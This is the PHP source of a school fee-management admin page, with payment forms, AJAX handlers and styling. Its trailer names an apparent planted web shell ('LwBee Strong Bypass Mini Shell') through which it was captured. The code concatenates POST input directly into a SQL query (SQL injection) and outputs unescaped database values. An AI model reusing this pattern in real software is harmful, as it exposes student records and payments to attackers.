/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/promote.php
<?php
  include('include/include.php');
  if($_POST['type']==1)
  {
     
      $select = executework("select * from promote_class where addmission_no = '".$_POST['AdmissionNo']."'");
       while($row = mysqli_fetch_array($select))
              {
    ?>

    <div class="accordion" id="accordionExample_<?= $row['id']?>">
          <div class="card">
          <div class="" id="headingThree_<?= $row['id']?>">
             <h2 class="mb-0">
                <button class="btn btn-link collapsed" type="button" data-toggle="collapse" data-target="#collapseThree_<?= $row['id']?>" aria-expanded="false" aria-controls="collapseThree_<?= $row['id']?>" onclick="year_change(<?= $row['id']?>)">
                  <?= date('Y',strtotime($row['promote_date']))?>
                </button>
             </h2>
         </div>

       <div id="collapseThree_<?= $row['id']?>" class="collapse" aria-labelledby="headingThree_<?= $row['id']?>" data-parent="#accordionExample_<?= $row['id']?>">
          <div class="">
             <div class="wrapper">
                   <div class="cctabs">
                        <input checked id="one<?= $row['id']?>" name="tabs" type="radio">
                          <label for="one<?= $row['id']?>"><i class="fa fa-pencil-square-o"></i> Student Marks</label>
                          <input id="two<?= $row['id']?>" name="tabs" type="radio" value="Two">
                          <label for="two<?= $row['id']?>"><i class="fa fa-magic"></i> Study Fee</label>
                          <input id="three<?= $row['id']?>" name="tabs" type="radio">
                          <label for="three<?= $row['id']?>"><i class="fa fa-plus-square"></i> Bus Fee</label>
                          <input id="four<?= $row['id']?>" name="tabs" type="radio">
                          <label for="four<?= $row['id']?>"><i class="fa fa-envelope"></i> Hostel Fee</label>
                          <input id="five<?= $row['id']?>" name="tabs" type="radio">
                          <label for="five<?= $row['id']?>"><i class="fa fa-envelope"></i> Additional Fee</label>
                          <input id="six<?= $row['id']?>" name="tabs" type="radio">
                          <label for="six<?= $row['id']?>"><i class="fa fa-envelope"></i> Promote</label>
                          <div class="panels">
                              <div class="panel">
                                  
                              </div>
                              <div class="panel">
                                  <div class="unit-2">
                                      <div id="cc-contact">
                                        <input type="hidden" id="RollNo123">
                                          <input type="hidden" id="Branch">
                                          <input type="hidden" id="Academic_year">
                                          <div class="row">
                                             <div class="col-md-3">
                                                <b>Acadamic Year:<h6 id="Academic_year123"></h6></b>
                                              </div>
                                              <div class="col-md-3">
                                                <b>Class:<h6 id="PresentClass123"></h6></b>
                                              </div>
                                               <div class="col-md-3">
                                                <b>Due Amount:<h6 id="due_amount123"></h6></b>
                                               </div>
                                                <a id="study_history" href="javascript:void(0)" class="mt-4">Study Fee History</a>
                                               <div id="study_table"></div>
                                           </div>
                                           <div class="row">
                                            <h4>Study Fee</h4>
                                              <div class="col-md-3">
                                                   <b>Category</b>
                                                 <select name="category" id="category11" tabindex="1" required>
                                                   <option value="">Please Select Category</option>
                                                    <?php
                                                      $select_category = executework("SELECT * FROM daybook_list order by category asc");
                                                       while($category = mysqli_fetch_array($select_category)){ 
                                                    ?>
                                                   <option value="<?= $category['category']?>"><?= $category['category']?></option>
                                                   <?php
                                                      }
                                                   ?>
                                                 </select>
                                                </div>
                                                 <div class="col-md-3">
                                           <b>Total Amount</b>
                                          <input placeholder="Total Amount" type="text" id="study_amount_data" tabindex="1" readonly>
                                        </div>
                                        <div class="col-md-3">
                                            <b>Due Amount</b>
                                          <input placeholder="Due Amount" type="text" id="due_amount_data" tabindex="1" readonly>
                                         </div>
                                         <div class="col-md-3">
                                           <b>Paid Amount</b>
                                          <input placeholder="Paid Amount" type="text" id="paid_amount_data" tabindex="2" readonly>
                                         </div>
                                          <div class="col-md-3">
                                            <b> Amount</b>
                                          <input placeholder="Enter Amount" type="text" class="noSpace" onkeypress="return isNumber(event)" id="amount_data" tabindex="2" required autofocus>
                                          </div>
                                          <div class="col-md-3">
                                               <b>Payment Date</b>

                                              <input placeholder="Select Date" type="text"  id="datepicker11" tabindex="3" required readonly autofocus>
                                            </div>
                                        </div>
                                         <button name="submit" type="submit" onClick="AdditionalAmountData1()">Pay</button>
                                      </div>
                                  </div>
                              </div>

                              <div class="panel">
                                  <div class="unit-2">
                                      <div id="cc-contact">
                                          <input type="hidden" id="class_data">
                                          <input type="hidden" id="section_data">
                                          <input type="hidden" id="academic_year">
                                          <input type="hidden" id="addmission_no">
                                          <div class="row">
                                            <a href="javascript:void(0)" id="Bus_history_data">Bus History</a>
                                            <div id="Bus_table_data"></div>
                                          </div>
                                          <div class="row">
                                              <h4>Bus Fee</h4>
                                                    <div class="col-md-3">
                                                       <b>Category</b>
                                                     <select name="category" id="category12" tabindex="1" required>
                                                       <option value="">Please Select Category</option>
                                                        <?php
                                                          $select_category = executework("SELECT * FROM daybook_list order by category asc");
                                                           while($category = mysqli_fetch_array($select_category)){ 
                                                        ?>
                                                       <option value="<?= $category['category']?>"><?= $category['category']?></option>
                                                       <?php
                                                          }
                                                       ?>
                                                     </select>
                                                    </div>
                                                    <div class="col-md-3">
                                           <b>Total Amount</b>
                                          <input placeholder="Total Amount" type="text" id="bus_totalamount_data" tabindex="1" readonly>
                                        </div>
                                        <div class="col-md-3">
                                            <b>Due Amount</b>
                                          <input placeholder="Due Amount" type="text" id="Busdue_amount_data" tabindex="1" readonly>
                                         </div>
                                         <div class="col-md-3">
                                           <b>Paid Amount</b>
                                          <input placeholder="Paid Amount" type="text" id="Buspaid_amount_data" tabindex="2" readonly>
                                         </div>
                                          <div class="col-md-3">
                                            <b> Amount</b>
                                          <input placeholder="Enter Amount" type="text" class="noSpace" onkeypress="return isNumber(event)" id="Busamount_data" tabindex="2" required autofocus>
                                          </div>
                                          <div class="col-md-3">
                                               <b>Payment Date</b>
                                              <input placeholder="Select Date" type="text"  id="datepicker12" tabindex="3" required readonly autofocus>
                                            </div>
                                          </div>
                                          <button name="submit" type="submit" onClick="BusAmountData1()">Pay</button>
                                      </div>
                                  </div>
                              </div>
                              

                              <div class="panel">
                                  <div class="unit-2">
                                      <div id="cc-contact">
                                           <input type="hidden" id="class_data">
                                              <input type="hidden" id="section_data">
                                              <input type="hidden" id="academic_year">
                                              <input type="hidden" id="addmission_no">
                                              <div class="row">
                                                <a href="javascript:void(0)" id="Hostel_history_data">Hostel History</a>
                                                <div id="Hostel_table_data"></div>
                                              </div>
                                              <div class="row">
                                                   <h4>Hostel Fee</h4>
                                                        <div class="col-md-3">
                                                           <b>Category</b>
                                                         <select name="category" id="category13" tabindex="1" required>
                                                           <option value="">Please Select Category</option>
                                                            <?php
                                                              $select_category = executework("SELECT * FROM daybook_list order by category asc");
                                                               while($category = mysqli_fetch_array($select_category)){ 
                                                            ?>
                                                           <option value="<?= $category['category']?>"><?= $category['category']?></option>
                                                           <?php
                                                              }
                                                           ?>
                                                         </select>
                                                        </div>

                                                        <div class="col-md-3">
                                               <b>Total Amount</b>
                                              <input placeholder="Total Amount" type="text" id="Hostel_amount_data" tabindex="1" readonly>
                                            </div>
                                            <div class="col-md-3">
                                                <b>Due Amount</b>
                                              <input placeholder="Due Amount" type="text" id="Hosteldue_amount_data" tabindex="1" readonly>
                                             </div>
                                             <div class="col-md-3">
                                               <b>Paid Amount</b>
                                              <input placeholder="Paid Amount" type="text" id="Hostelpaid_amount_data" tabindex="2" readonly>
                                             </div>
                                              <div class="col-md-3">
                                                <b> Amount</b>
                                              <input placeholder="Enter Amount" type="text" class="noSpace" onkeypress="return isNumber(event)" id="Hostelamount_data" tabindex="2" required autofocus>
                                              </div>
                                              <div class="col-md-3">
                                                   <b>Payment Date</b>
                                                  <input placeholder="Select Date" type="text"  id="datepicker13" tabindex="3" required readonly autofocus>
                                                </div>
                                              </div>
                                              <button name="submit" type="submit" onClick="HostelAmountData1()">Pay</button>
                                      </div>
                                  </div>
                              </div>

                              <div class="panel">
                                  <div class="unit-2">
                                      <div id="cc-contact">
                                           <input type="hidden" id="class_data">
                                          <input type="hidden" id="section_data">
                                          <input type="hidden" id="academic_year">
                                          <input type="hidden" id="addmission_no">
                                          <div class="row">
                                            <a href="javascript:void(0)" id="Additional_history_data">Additional History</a>
                                            <div id="Additional_table_data"></div>
                                          </div>
                                          <div class="row">
                                                <h4>Additional Fee</h4>
                                                    <div class="col-md-3">
                                                       <b>Category</b>
                                                     <select name="category" id="category14" tabindex="1" required>
                                                       <option value="">Please Select Category</option>
                                                        <?php
                                                          $select_category = executework("SELECT * FROM daybook_list order by category asc");
                                                           while($category = mysqli_fetch_array($select_category)){ 
                                                        ?>
                                                       <option value="<?= $category['category']?>"><?= $category['category']?></option>
                                                       <?php
                                                          }
                                                       ?>
                                                     </select>
                                                    </div>
                                                    <div class="col-md-3">
                                                       <b>Total Amount</b>
                                                      <input placeholder="Total Amount" type="text" id="Additionaltotal_amount_data" tabindex="1" readonly>
                                                    </div>
                                                    <div class="col-md-3">
                                                        <b>Due Amount</b>
                                                      <input placeholder="Due Amount" type="text" id="Additionaldue_amount_data" tabindex="1" readonly>
                                                     </div>
                                                     <div class="col-md-3">
                                                       <b>Paid Amount</b>
                                                      <input placeholder="Paid Amount" type="text" id="Additionalpaid_amount_data" tabindex="2" readonly>
                                                     </div>
                                                      <div class="col-md-3">
                                                        <b> Amount</b>
                                                      <input placeholder="Enter Amount" type="text" class="noSpace" onkeypress="return isNumber(event)" id="Additionalamount_data" tabindex="2" required autofocus>
                                                      </div>
                                                      <div class="col-md-3">
                                                           <b>Payment Date</b>
                                                          <input placeholder="Select Date" type="text"  id="datepicker14" tabindex="3" required readonly autofocus>
                                                        </div>
                                          </div>
                                          <button name="submit" type="submit" onClick="AmountAdditionalData1()">Pay</button>
                                      </div>
                                  </div>
                              </div>

                          </div>
                          
                   </div>
              </div>

          </div>
       </div>
   </div>
</div>

    <?php
}
  }
?>

<script>
    function year_change(id)
    {
        if(id !='')
        {
            $.ajax({
                  url : "promote_class.php",
                data :  {type:1,id : id},
                type : 'POST',
                  success : function(data) {
                    var response = JSON.parse(data);

                       $('#123').show();
                       $('#study_amount_data').val(response.study_amount_data);
                       $('#bus_totalamount_data').val(response.bus_fee_data);
                       $('#class_data').val(response.class_data);
                       $('#section_data').val(response.section_data);
                       $('#academic_year').val(response.academic_year_data);
                       $('#addmission_no').val(response.addmission_no);
                        $('#Hostel_amount_data').val(response.hostel_fee_data);
                       $('#Additionaltotal_amount_data').val(response.additional_fee_data);
                       $('#date_id').val(response.date_id);


                        
                  }
              })
        }
        
    }
    $( function() {
    $("#datepicker11").datepicker({ 
      dateFormat: "yy-mm-dd",
      type:  'datetime',
      onClick: function() {
       table.draw(); 
     },
     changeMonth: true,
     changeYear: true 
    })
     $("#datepicker12").datepicker({ 
      dateFormat: "yy-mm-dd",
      type:  'datetime',
      onClick: function() {
       table.draw(); 
     },
     changeMonth: true,
     changeYear: true 
    })
      $("#datepicker13").datepicker({ 
      dateFormat: "yy-mm-dd",
      type:  'datetime',
      onClick: function() {
       table.draw(); 
     },
     changeMonth: true,
     changeYear: true 
    })
       $("#datepicker14").datepicker({ 
      dateFormat: "yy-mm-dd",
      type:  'datetime',
      onClick: function() {
       table.draw(); 
     },
     changeMonth: true,
     changeYear: true 
    })
});
</script>

<script>
    function AdditionalAmountData1()
  {
     
   
        var category = $('#category11').val();

        var study_amount_data  =$('#study_amount_data').val();
        var due_amount_data   = $('#due_amount_data').val();

         var fee_date = $('#datepicker11').val();
        var amount_data = $('#amount_data').val();
         if(category == ''){
           alert('plase Select category');
         }
          else if(amount_data == ''){
           alert('plase enter Amount');
        }
       else if(fee_date =='')
       {
          alert('Please Select Data');
       }
       else{
        
            var due_amount = study_amount_data - amount_data;
            var addmission_no = $('#addmission_no').val();
            var class_data    =$('#class_data').val();
            var academic_year    =$('#academic_year').val();
            var section_data    =$('#section_data').val();
        if(amount_data !=''){
         $.ajax({
            url : "fee_payment1.php",
            data :  {study_amount_data : study_amount_data,type:1,amount_data:amount_data,addmission_no : addmission_no,class_data : class_data,fee_date : fee_date, due_amount_data : due_amount_data,academic_year : academic_year,category:category},
            type : 'POST',
              
            success : function(response) {
                $('#category').val('');
                $('#datepicker11').val('');
                $('#amount_data').val('');
        }

});
    }   
    } 
  }
function BusAmountData1()
  {
     
   
        var category = $('#category12').val();

        var bus_amount_data  =$('#bus_totalamount_data').val();
        var Busdue_amount_data   = $('#Busdue_amount_data').val();

         var fee_date = $('#datepicker12').val();
        var Busamount_data = $('#Busamount_data').val();
         if(category == ''){
           alert('plase Select category');
         }
          else if(bus_amount_data == ''){
           alert('plase enter Amount');
        }
       else if(fee_date =='')
       {
          alert('Please Select Data');
       }
       else{
        
            var due_amount = bus_amount_data - Busamount_data;
            var addmission_no = $('#addmission_no').val();
        var class_data    =$('#class_data').val();
        var academic_year    =$('#academic_year').val();
        var section_data    =$('#section_data').val();
        
        if(Busamount_data !=''){

         $.ajax({
            url : "fee_payment1.php",
            data :  {bus_amount_data : bus_amount_data,type:3,Busamount_data:Busamount_data,addmission_no : addmission_no,class_data : class_data,fee_date : fee_date,due_amount : due_amount,academic_year : academic_year,category:category},
            type : 'POST',
              
            success : function(response) {
                $('#category12').val('');
                $('#datepicker12').val('');
                $('#Busamount_data').val('');
        }

});
    }   
    } 
  }

  function HostelAmountData1()
  {
     
   
        var category = $('#category13').val();

        var Hostel_amount_data  =$('#Hostel_amount_data').val();
        var due_amount_data   = $('#Hosteldue_amount_data').val();

         var fee_date = $('#datepicker13').val();
        var amount_data = $('#Hostelamount_data').val();
         if(category == ''){
           alert('plase Select category');
         }
          else if(amount_data == ''){
           alert('plase enter Amount');
        }
       else if(fee_date =='')
       {
          alert('Please Select Data');
       }
       else{
        
            var due_amount = Hostel_amount_data - amount_data;
            var addmission_no = $('#addmission_no').val();
        var class_data    =$('#class_data').val();
        var academic_year    =$('#academic_year').val();
        var section_data    =$('#section_data').val();
        if(amount_data !=''){
         $.ajax({
            url : "fee_payment1.php",
            data :  {Hostel_amount_data : Hostel_amount_data,type:5,amount_data:amount_data,addmission_no : addmission_no,class_data : class_data,fee_date : fee_date, due_amount : due_amount,academic_year : academic_year,category:category},
            type : 'POST',
              
            success : function(response) {
                $('#category13').val('');
                $('#datepicker13').val('');
                $('#Hostelamount_data').val('');
        }

});
    }   
    } 
  }

 function AmountAdditionalData1()
  {
     
   
        var category = $('#category14').val();

        var Hostel_amount_data  =$('#Additionaltotal_amount_data').val();
        var due_amount_data   = $('#Additionaldue_amount_data').val();

         var fee_date = $('#datepicker14').val();
        var amount_data = $('#Additionalamount_data').val();
         if(category == ''){
           alert('plase Select category');
         }
          else if(amount_data == ''){
           alert('plase enter Amount');
        }
       else if(fee_date =='')
       {
          alert('Please Select Data');
       }
       else{
        
            var due_amount = Hostel_amount_data - amount_data;
            var addmission_no = $('#addmission_no').val();
        var class_data    =$('#class_data').val();
        var academic_year    =$('#academic_year').val();
        var section_data    =$('#section_data').val();
        if(amount_data !=''){
         $.ajax({
            url : "fee_payment1.php",
            data :  {Hostel_amount_data : Hostel_amount_data,type:7,amount_data:amount_data,addmission_no : addmission_no,class_data : class_data,fee_date : fee_date, due_amount : due_amount,academic_year : academic_year,category:category},
            type : 'POST',
              
            success : function(response) {
                $('#category14').val('');
                $('#datepicker14').val('');
                $('#Additionalamount_data').val('');
        }

});
    }   
    } 
  }
  $(document).ready(function(){
   
    $("#study_history_data").click(function(){

       var addmission_no = $('#addmission_no').val();
            var class_data    =$('#class_data').val();
            var academic_year  =$('#academic_year').val();
           
        if(addmission_no !='' && academic_year !='')
        {
            
             $.ajax({
            url : "fee_payment1.php",
            data :  {addmission_no : addmission_no,type:2,academic_year : academic_year},
            type : 'POST',
              
            success : function(response) {
                $('#study_table_data').html(response);
        }

});
        }
    });
  });

  $(document).ready(function(){
   
    $("#Bus_history_data").click(function(){

       var addmission_no = $('#addmission_no').val();
        var class_data    =$('#class_data').val();
        var academic_year  =$('#academic_year').val();
       
        if(addmission_no !='' && academic_year !='')
        {
          
             $.ajax({
            url : "fee_payment1.php",
            data :  {addmission_no : addmission_no,type:4,academic_year : academic_year},
            type : 'POST',
              
            success : function(response) {
                $('#Bus_table_data').html(response);
        }

});
        }
    });

     $("#Hostel_history_data").click(function(){

       var addmission_no = $('#addmission_no').val();
        var class_data    =$('#class_data').val();
        var academic_year  =$('#academic_year').val();
       
        if(addmission_no !='' && academic_year !='')
        {
          
             $.ajax({
            url : "fee_payment1.php",
            data :  {addmission_no : addmission_no,type:6,academic_year : academic_year},
            type : 'POST',
              
            success : function(response) {
                $('#Hostel_table_data').html(response);
        }

});
        }
    });

      $("#Additional_history_data").click(function(){

       var addmission_no = $('#addmission_no').val();
        var class_data    =$('#class_data').val();
        var academic_year  =$('#academic_year').val();
       
        if(addmission_no !='' && academic_year !='')
        {
          
             $.ajax({
            url : "fee_payment1.php",
            data :  {addmission_no : addmission_no,type:8,academic_year : academic_year},
            type : 'POST',
              
            success : function(response) {
                $('#Additional_table_data').html(response);
        }

});
        }
    });
  });
</script>

<style>
/*
Author: https://codeconvey.com/
*/

@import url(https://fonts.googleapis.com/css?family=Lato:300,400,700);

body {
  /*background: #c4e8e9;*/
  color: #000;
  font-weight: 400;
  font-size: 1em;
  font-family: 'Lato', Arial, sans-serif;
  margin:0;
  padding:0;
  padding-bottom:40px;
}
a {
  color: #4f4d4d;
  text-decoration: none;
}

a:hover, a:focus {
  color: #000;
}

*, *:after, *:before { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; }

a, button {
  outline: none;
}
.clearfix:before,
.clearfix:after {
  content: " ";
  display: table;
}
 
.clearfix:after {
  clear: both;
}

/* To Navigation Style */
.cctop {
  background:#08cbd2; 
  width: 100%;
  text-transform: uppercase;
  font-weight: 700;
  font-size: 0.75em;
  line-height: 3.2;
}

.cctop a {
  display: inline-block;
  padding: 0 1.5em;
  text-decoration: none;
  letter-spacing: 1px;
}

.cctop span.right {
  float: right;
}

.cctop span.right a {
  display: block;
  float: left;
}

/* Header Style */

.ccheader {
  margin: 0 auto;
  padding: 2em;
  text-align: center;
}

.ccheader h1 {
  font-size: 2.625em;
    font-weight: 300;
    line-height: 1.3;
    margin: 0;
}

.ccheader h1 span {
  display: block;
  padding: 0 0 0.6em 0.1em;
  font-size: 60%;
  opacity: 0.7;
}



/* Demo Buttons Style */
.codeconvey-demo {
  padding-top: 1em;
  font-size: 0.8em;
}

.codeconvey-demo a {
  display: inline-block;
  margin: 0.5em;
  padding: 0.7em 1.1em;
  outline: none;
  border: 2px solid #fff;
  color: #fff;
  text-decoration: none;
  text-transform: uppercase;
  letter-spacing: 1px;
  font-weight: 700;
}

.codeconvey-demo a:hover,
.codeconvey-demo a.current-demo,
.codeconvey-demo a.current-demo:hover {
  border-color: #333;
  color: #333;
}

/* Wrapper Style */

.wrapper{
  margin:0 auto;  
  padding-left:12%;
  padding-right:12%;
}

section{ float:left; width:100%;}

.opt{ 
background: url(../images/bg.jpg) repeat-x;
padding:3%;
}
@import url(https://fonts.googleapis.com/css?family=Open+Sans:400italic,400,300,600);
@font-face {
  font-family: 'FontAwesome';
  src: url('../fonts/fontawesome-webfont.eot?v=4.0.3');
  src: url('../fonts/fontawesome-webfont.eot?#iefix&v=4.0.3') format('embedded-opentype'), url('../fonts/fontawesome-webfont.woff?v=4.0.3') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.0.3') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.0.3#fontawesomeregular') format('svg');
  font-weight: normal;
  font-style: normal;
}


.cctabs {
    width: 100%;
    margin: 100px auto;
}
.cctabs input[type="radio"] {
    opacity: 0;
}
.cctabs .fa{
  margin-right:10px;  
}
.cctabs label {
    color: #000;
    cursor: pointer;
    float: left;
    margin-right: 2px;
    padding: 0.5% 2%;
  font-size:16px;
  font-weight:bold;
}
.cctabs label:hover {
    background: -webkit-linear-gradient(#777, #666);
}
.cctabs input:checked + label {
    background: #fff;
    color: blue;
  border-top:solid 2px blue;
}
.cctabs input:nth-of-type(1):checked ~ .panels .panel:first-child, .cctabs input:nth-of-type(2):checked ~ .panels .panel:nth-child(2), .cctabs input:nth-of-type(3):checked ~ .panels .panel:nth-child(3), .cctabs input:nth-of-type(4):checked ~ .panels .panel:nth-child(4),.cctabs input:nth-of-type(5):checked ~ .panels .panel:nth-of-type(5),.cctabs input:nth-of-type(6):checked ~ .panels .panel:last-child {
    opacity: 1;
    -webkit-transition: .3s;
  /*position:relative;*/
  z-index:999;
}
.cctabs .panels {
    float: left;
    clear: both;
    position: relative;
    width: 100%;
    background: #fff;
}
.cctabs .panel {
    width: 100%;
    opacity: 0;
    position: absolute;
    background: #fff;
    padding: 4%;
    box-sizing: border-box;
}
.cctabs .panel h2 {
    margin: 0;
    font-family: Arial;
}

.cctabs .panel i{
  color:#ebb704;
  cursor:pointer; 
}
.cctabs .panel i:hover{
  color:#f4cc42;
}

.cctabs .headline h1 {
    font-size: 30px;
    font-weight: bold;
    letter-spacing: 0.6px;
    padding-bottom: 0;
    text-align: center;
    text-rendering: optimizespeed;
  margin: 10px 0;
}

.cctabs .headline hr {
    background: none repeat scroll 0 0 #ebb704;
    border: 2px solid;
    color: #ebb704;
    margin-bottom: 0;
    margin-top: 0;
    width: 30px;
}

.cctabs .headline .lead {
    font-family: "Lato",sans-serif;
    font-weight: 300;
    line-height: 1.9;
    margin: 5px 0;
    text-align: center;
}
#map-canvas {
    height: 366px;
    width: 462px;
}


#cc-contact input[type="text"], 
#cc-contact input[type="email"],
#cc-contact input[type="tel"],
#cc-contact input[type="password"],
#cc-contact textarea{
  width:100%;
  border:1px solid #ebb704;
  margin:0 0 5px;
  padding:10px;
  font-family: "Lato",sans-serif;
  font-size:14px;
}

#cc-contact textarea {
  height:147px;
  max-width:100%;
}

#cc-contact select{
  width:100%;
  border:1px solid #ebb704;
  margin:0 0 5px;
  padding:10px;
  font-family: "Lato",sans-serif;
  font-size:14px;
}

#cc-contact select {
  /*height:147px;*/
  max-width:100%;
}

#cc-contact button[type="submit"] {
  cursor:pointer;
  width:100%;
  border:none;
  background:#ebb704;
  color:#FFF;
  margin:0 0 5px;
  padding:10px;
  font-size:15px;
}

#cc-contact button[type="submit"]:hover {
  background:#f4cc42;
  -webkit-transition:background 0.3s ease-in-out;
  -moz-transition:background 0.3s ease-in-out;
  transition:background-color 0.3s ease-in-out;
}





/* GRID*/
.grid {
    display: block;
    margin-left: -10px;
}
.cc-text-center{
  text-align:center;
}
.cc-mt-20{
  margin-top:50px;  
}
.unit-2,
.unit-3,
.unit-4 {
    float: left;
    border-left: 10px solid transparent;
    box-sizing: border-box;
    background-clip: padding-box;
}
.unit-1{
  width:100%;
  float:left; 
}
.unit-2 {
    width: 80%;
}

.unit-3 {
    width: 33.3%;
}

.unit-4 {
    width: 25%;
}
</style>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File